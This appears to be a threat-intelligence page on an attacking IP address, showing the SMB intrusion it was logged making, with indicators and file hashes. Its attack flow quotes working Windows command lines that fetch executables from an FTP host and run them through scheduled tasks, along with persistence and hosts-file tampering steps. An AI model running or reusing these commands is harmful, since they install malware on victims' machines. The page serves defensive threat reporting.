IP Address: 202.166.164.46Malicious

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IP Address:
202.166.164.46​
Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

Service Configuration Download and Execute Cookie Hijacking Persistency - Image Hijack Access Suspicious Domain File Operation By CMD System File Modification IDS - A Network Trojan was detected Scheduled Task Creation Outgoing Connection HTTP Service Start Download File CMD Service Creation DNS Poisoning SMB Null Session Login SMB WMI Persistence

Associated Attack Servers

bumblebeeservers.com hosteons.com pool.minexmr.com ip.seeip.org grinknowledge.com triangleww.com pc.pc0416.xyz grantmindline.com js.1226bye.xyz apps.identrust.com ctldl.windowsupdate.com

74.222.14.94 104.233.207.172 137.175.56.104 173.208.172.202 185.47.128.124 217.195.153.116 139.5.177.10 173.247.239.186 139.5.177.32 172.83.155.170 223.25.247.240 103.124.105.246 104.37.187.182 45.58.135.106 192.187.111.66

Basic Information

IP Address

202.166.164.46

Domain

-

ISP

ConnecTEL

Country

Pakistan

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2019-04-07

Last seen in Guardicore Centra

2021-04-25

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

IDS detected A Network Trojan was detected : ETERNALBLUE Probe Vulnerable System Response MS17-010

IDS - A Network Trojan was detected

Process c:\windows\system32\regsvr32.exe generated outgoing network traffic to: 185.47.128.124:8124 and 217.195.153.116:80

Outgoing Connection

c:\windows\system32\services.exe installed and started cmd as a service named hQKs under service group None

Service Creation Service Start

Process c:\windows\temp\conhoy.exe generated outgoing network traffic to: 103.124.105.246:80, 104.233.207.172:8172 and 137.175.56.104:80

Outgoing Connection

Process c:\windows\temp\conhoy.exe attempted to access suspicious domains: hosteons.com

Access Suspicious Domain Outgoing Connection

System file C:\WINDOWS\Temp\conhoy.exe was modified 4 times

System File Modification

C:\WINDOWS\Temp\wmia.bat was downloaded

Download File

C:\windows\Temp\u.exe was downloaded

Download File

C:\WINDOWS\Temp\ntuser.dat was downloaded

Download File

c:\windows\inf\aspnet\lsma12.exe was downloaded

Download File

System file C:\windows\Temp\u.exe was modified 9 times

System File Modification

Process c:\windows\temp\u.exe generated outgoing network traffic to: 104.37.187.182:80, 104.37.187.182:8888 and 172.83.155.170:80

Outgoing Connection

Process c:\windows\temp\u.exe attempted to access suspicious domains: grantmindline.com

Access Suspicious Domain Outgoing Connection

System file C:\WINDOWS\Temp\ntuser.dat was modified 4 times

System File Modification

System file c:\windows\inf\aspnet\lsma12.exe was modified 4 times

System File Modification

c:\windows\debug\item.dat was downloaded

Download File

System file c:\windows\debug\item.dat was modified 4 times

System File Modification

The file C:\WINDOWS\Temp\conhoy.exe was downloaded and executed 17 times

Download and Execute

The file C:\WINDOWS\system\msinfo.exe was downloaded and executed

Download and Execute

The file C:\WINDOWS\system32\wpcap.dll was downloaded and loaded by c:\windows\system32\cacls.exe

Download and Execute

The file C:\WINDOWS\system32\packet.dll was downloaded and loaded by c:\windows\system32\cacls.exe

Download and Execute

The command line cmd /c echo open ftp.ftp0810.ru>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa.job

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa1.job

The command line cmd /c echo open ftp.ftp0810.ru>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa2.job

The command line cmd /c echo open ftp.ftp0810.ru>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa3.job

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\ok.job

The command line c:\windows\inf\aspnet\lsma12.exe was scheduled to run by modifying C:\WINDOWS\Tasks\oka.job

The command line c:\windows\temp\conhoy.exe was scheduled to run by modifying C:\WINDOWS\Tasks\MicrosoftsWindowsy.job

c:\windows\system32\reg.exe set the command line ntsd -d to run using Persistency - Image Hijack 3 times

Persistency - Image Hijack

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname sql.4i7i.com , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname sql.4i7i.com , and associated IP address 127.0.0.1

System file C:\WINDOWS\system32\drivers\etc\hosts was modified

System File Modification

System file C:\WINDOWS\system32\wbem\AutoRecover\88744D2A29102FC88ECF505DD2E984FC.mof was modified

System File Modification

Connection was closed due to user inactivity

Associated Files

C:\Windows\System32\ok.exe

SHA256: a3bb132ab1ba3e706b90d6fb514504105f174c4e444e87be7bce1995f798044d

2241024 bytes

C:\Windows\SysWOW64\wpcap.dll

SHA256: b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

282360 bytes

C:\Windows\SysWOW64\npptools.dll

SHA256: 366b77df76729d08687051c1ec4b718ba1d650bca5b16eb15ec5c11570d6ff16

48128 bytes

C:\Windows\System\msinfo.exe

SHA256: 7ec433dd0454553b09f11c39944e251e3ee32e4981f52f02adc3011eb0ce6537

4887552 bytes

C:\Windows\System32\drivers\npf.sys

SHA256: 4bfaa99393f635cd05d91a64de73edb5639412c129e049f0fe34f88517a10fc6

36600 bytes

C:\Windows\Temp\conhost.exe

SHA256: 790c213e1227adefd2d564217de86ac9fe660946e1240b5415c55770a951abfd

221184 bytes

C:\Windows\debug\item.dat

SHA256: 80f8ba7992a5dbaa4a2f76263258d5d7bf3bb8994f9e8a4a5294f70ab8e38ea4

3358208 bytes

C:\Windows\Inf\msief.exe

SHA256: 3e79be51a78170ac177641b8225b22d37548617800ea0362733eeadc77445b98

305287 bytes

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IP Address: 202.166.164.46​Malicious